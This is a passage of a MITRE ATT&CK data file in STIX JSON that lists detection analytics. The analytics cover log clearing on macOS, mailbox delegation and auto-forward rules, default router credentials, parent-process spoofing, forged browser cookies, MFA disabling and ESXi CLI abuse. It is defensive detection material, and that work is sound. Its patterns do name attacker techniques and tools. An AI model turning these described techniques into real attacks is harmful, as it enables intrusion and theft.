                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Add-MailboxPermission or Set-ManagementRoleAssignment"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "m365:signinlogs",
                    "channel": "Unusual sign-in from service principal to user mailbox"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetMailbox",
                    "description": "Mailbox of interest where impersonation or access delegation occurs."
                },
                {
                    "field": "UserAgent",
                    "description": "Tune based on expected application or script-based mailbox access."
                },
                {
                    "field": "GeoLocation",
                    "description": "Restrict based on corporate geography or travel expectations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2f0f5c7a-18ee-462e-b364-b1d8df3b2c02",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0184#AN0522",
                    "external_id": "AN0522"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0522",
            "description": "Detects clearing of unified logs, deletion of plist files tied to persistence, and manipulation of Terminal history after initial execution.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "log stream cleared or truncated"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "fs:fsusage",
                    "channel": "unlink, fs_delete"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:osquery",
                    "channel": "File modifications in ~/Library/Preferences/"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PlistTargetPaths",
                    "description": "Define which plist paths relate to LaunchAgents or LaunchDaemons"
                },
                {
                    "field": "ExecutionChainDepth",
                    "description": "Allow tuning for multi-process persistence chains"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2f39584b-59bd-43ec-bd0a-5c2eba258ae2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0272#AN0758",
                    "external_id": "AN0758"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0758",
            "description": "Detects unauthorized modification of network device authentication by correlating OS image file changes, checksum mismatches, or memory verification failures with anomalous authentication events. Focus is on behaviors where patched images introduce hardcoded passwords or bypass native authentication.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "networkconfig",
                    "channel": "unexpected OS image file upload or modification events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "network:auth",
                    "channel": "repeated successful authentications with previously unknown accounts or anomalous password acceptance"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BaselineChecksums",
                    "description": "Trusted baseline cryptographic hashes for OS images, used to detect unauthorized modifications."
                },
                {
                    "field": "AuthFailureThreshold",
                    "description": "Threshold for correlating unusual authentication successes following failed attempts or unknown account use."
                },
                {
                    "field": "VerificationInterval",
                    "description": "Frequency of runtime OS image and memory integrity checks."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2f4d199c-4d62-4d7d-8c6e-3ec358c22e76",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0304#AN0851",
                    "external_id": "AN0851"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0851",
            "description": "User or remote input triggers application crash or segmentation fault (e.g., SIGSEGV) with service recovery attempts, observed via audit logs and systemd journaling.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f",
                    "name": "auditd:SYSCALL",
                    "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "journald:Application",
                    "channel": "Segfault or crash log entry associated with specific application binary"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CrashPattern",
                    "description": "Specific binary fault signature or stack trace identifiers unique to the application context"
                },
                {
                    "field": "ExploitSourceIP",
                    "description": "Suspect source IPs for correlation across requests and service failure timing"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2f6dd4a5-b0cc-4c13-abb8-e2d747d591b2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0554#AN1533",
                    "external_id": "AN1533"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1533",
            "description": "Observation of `blueutil`/`networksetup` commands or low-level APIs toggling Bluetooth or initiating transfers, especially if paired with recent large file read activity by non-GUI processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "macos:osquery",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:osquery",
                    "channel": "None"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProcessContext",
                    "description": "Limit to background processes or scripts with no GUI interaction."
                },
                {
                    "field": "PayloadType",
                    "description": "Focus on specific sensitive file types (e.g., zip, docx, keychain db)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2f9c7e44-de3a-4fbd-955a-482ef9f341ed",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0330#AN0939",
                    "external_id": "AN0939"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0939",
            "description": "Detection of maintainer scripts (e.g., postinst, preinst) being modified or executed during dpkg or rpm operations. Watch for script content that spawns additional processes or writes outside package scope.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptName",
                    "description": "May be postinst, preinst, prerm, or postrm depending on packaging system"
                },
                {
                    "field": "PackageManager",
                    "description": "Depends on system: dpkg, apt, rpm, yum, etc."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2fa4d134-8583-4cbe-bc84-bfc799205116",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1537",
            "description": "Detects suspicious use of ESXi native CLI tools like esxcli and vim-cmd by unauthorized users or outside expected maintenance windows. Focus is on actions such as stopping VMs, reconfiguring network/firewall settings, and enabling SSH or logging.",
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                "enterprise-attack"
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                "ESXi"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:vmkernel",
                    "channel": "esxcli, vim-cmd invocation"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "esxi:auth",
                    "channel": "SSH session/login"
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            ],
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                {
                    "field": "TimeWindow",
                    "description": "Helps scope detection to off-hours or change control gaps."
                },
                {
                    "field": "UserContext",
                    "description": "Environment-specific users may run these commands as part of normal ops."
                },
                {
                    "field": "CommandPattern",
                    "description": "CLI commands vary by adversary intent (e.g., 'stop', 'reboot', 'firewall set')"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1312",
            "description": "Correlates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, New-InboxRule"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:exchange",
                    "channel": "MessageTrace logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "azure:ad",
                    "channel": "SignInEvents"
                }
            ],
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                {
                    "field": "UserAgentList",
                    "description": "Restrict rules from non-browser agents"
                },
                {
                    "field": "ExternalSMTPDomainList",
                    "description": "Allow listing for org-sanctioned forwarding domains"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time delta between rule creation and suspicious sign-in"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2fe9bf69-b1a8-4c60-8b20-c11054d31158",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0083",
                    "external_id": "AN0083"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0083",
            "description": "Containerized apps or sidecar containers generating excessive outbound traffic or being leveraged for proxy networks. Includes sudden increases in network interface stats, especially in dormant or low-util apps.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "containers:osquery",
                    "channel": "bandwidth-intensive command execution from within a container namespace"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "docker:stats",
                    "channel": "unusual network TX/RX byte deltas"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ContainerBaselineNetworkUsage",
                    "description": "Baseline per container must be defined by app purpose and normal traffic."
                },
                {
                    "field": "ImageName",
                    "description": "Certain image names or registries may be prone to abuse (e.g., public image hosting mining or proxyware)."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1287",
                    "external_id": "AN1287"
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            "name": "Analytic 1287",
            "description": "Login activity from default admin credentials (e.g., 'admin', 'cisco') on routers, firewalls, and switches.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "networkdevice:syslog",
                    "channel": "authentication logs"
                }
            ],
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                {
                    "field": "Username",
                    "description": "Default usernames vary by vendor; defenders should adapt logic to their specific appliance list."
                },
                {
                    "field": "InterfaceType",
                    "description": "Telnet and HTTP-based access to network devices should be blocked and monitored if enabled."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--305c684a-2b36-4209-9d00-778ed16de763",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0171#AN0484",
                    "external_id": "AN0484"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0484",
            "description": "Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BrowserCookiePaths",
                    "description": "List of monitored cookie file paths on Windows systems."
                },
                {
                    "field": "ProcessWhitelist",
                    "description": "Approved processes allowed to write to browser cookie stores."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3090db89-83c0-44bc-a17d-7cb2a6aecb87",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0190#AN0545",
                    "external_id": "AN0545"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0545",
            "description": "Detects API calls to cloud secrets/MFA configurations where MFA enforcement policies are disabled or bypassed.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "UpdateIdentityPolicy or DisableMFA"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredServices",
                    "description": "Specific cloud services or IAM policies relevant to MFA enforcement."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--30ae2215-5dd5-4ef2-82bd-965781ef1f42",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0313#AN0873",
                    "external_id": "AN0873"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0873",
            "description": "Detection of browser-based downloads from HTML sources that trigger file creation in temp or user directories followed by execution of new files within short timeframes and suspicious parent-child lineage.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "linux:osquery",
                    "channel": "file_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DownloadPathRegex",
                    "description": "Regular expressions for common download paths (e.g., /tmp/, ~/Downloads/)"
                },
                {
                    "field": "ExecutableTriggerWindow",
                    "description": "Tunable range for follow-up process execution from dropped file (e.g., 5\u201315 minutes)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--31027842-f02c-4bc3-8cd6-3e4b533da5ac",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0562#AN1552",
                    "external_id": "AN1552"
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            "name": "Analytic 1552",
            "description": "Linux environmental validation behavioral chain: (1) Intensive system enumeration through command execution (uname, hostname, ifconfig, lsblk, mount), (2) File system reconnaissance targeting specific paths, network configurations, and installed packages, (3) Process and user enumeration to validate target environment characteristics, (4) Conditional script execution or binary activation based on environmental criteria, (5) Network connectivity validation and external IP address resolution for geolocation verification",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "auditd:SYSCALL",
                    "channel": "openat,connect -k discovery"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:PROCTITLE",
                    "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "linux:syslog",
                    "channel": "authentication and authorization events during environmental validation phase"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SystemDiscoveryCommandList",
                    "description": "Linux commands commonly used for system reconnaissance - customize based on environment-specific discovery patterns"
                },
                {
                    "field": "ReconnaissanceBurstThreshold",
                    "description": "Number of discovery commands within time window indicating reconnaissance burst - tune based on legitimate administrative activity"
                },
                {
                    "field": "EnvironmentalCheckPatterns",
                    "description": "File paths and system properties commonly validated by environmental keying - adapt to organizational infrastructure"
                },
                {
                    "field": "NetworkDiscoveryBaseline",
                    "description": "Normal network discovery activity patterns to distinguish from malicious reconnaissance"
                },
                {
                    "field": "ConditionalExecutionIndicators",
                    "description": "Script patterns and conditional logic indicating environment-based execution decisions"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--3102edb4-6947-4cef-9660-4a35d582a716",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0584",
                    "external_id": "AN0584"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0584",
            "description": "Excessive resource exhaustion or service crash induced by processes launched by users or scripts that rapidly consume CPU/memory or attempt malformed service interactions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "WinEventLog:Application",
                    "channel": "Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "WinEventLog:System",
                    "channel": "System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Number of service crashes or high-CPU events within a defined time period"
                },
                {
                    "field": "ServiceTarget",
                    "description": "Specific service name or executable targeted for DoS (e.g., svchost.exe, w3wp.exe)"
                },
                {
                    "field": "CPUThresholdPercent",
                    "description": "CPU usage percent considered anomalous over duration"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--31098e90-e2a0-477f-80ca-e969430d54c2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0877",
                    "external_id": "AN0877"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0877",
            "description": "Detects enabling of interface sniffing via packet capture tools or AppleScript triggering `tcpdump`. Leverages Unified Logs and process lineage to identify suspicious use of `pfctl`, `tcpdump`, or `libpcap` libraries.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "eventMessage = 'promiscuous'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events where path like '%tcpdump%'"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "fs:fsusage",
                    "channel": "access to BPF devices or interface IOCTLs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedTools",
                    "description": "Whitelist Apple-native tools used by IT admins and mobile device management (MDM)."
                },
                {
                    "field": "UserContext",
                    "description": "Prioritize detections from non-admin or low-privilege users performing packet captures."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--312f9f86-b987-483c-8b1d-955415eea946",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0489#AN1351",
                    "external_id": "AN1351"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1351",
            "description": "A process explicitly forges its parent using EXTENDED_STARTUPINFO + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (UpdateProcThreadAttribute \u2192 CreateProcess[A/W]/CreateProcessAsUserW) or other Native API paths, resulting in **mismatched/implausible lineage** across ETW EventHeader ProcessId, Security 4688 Creator Process ID/Name, and sysmon ParentProcessGuid. Often paired with privilege escalation when the chosen parent runs as SYSTEM.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "process_start: EventHeader.ProcessId true parent vs reported PPID mismatch"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between UpdateProcThreadAttribute/CreateProcess* and the resulting process (default 5\u201310 minutes)."
                },
                {
                    "field": "AllowedSpoofers",
                    "description": "Legitimate binaries that commonly use StartupInfoEx/PPID assignment (e.g., consent.exe, svchost.exe during UAC)."
                },
                {
                    "field": "ParentPrivilegeDeltaThreshold",
                    "description": "Minimum privilege/integrity gap between chosen parent and real caller to raise severity."
                },
                {
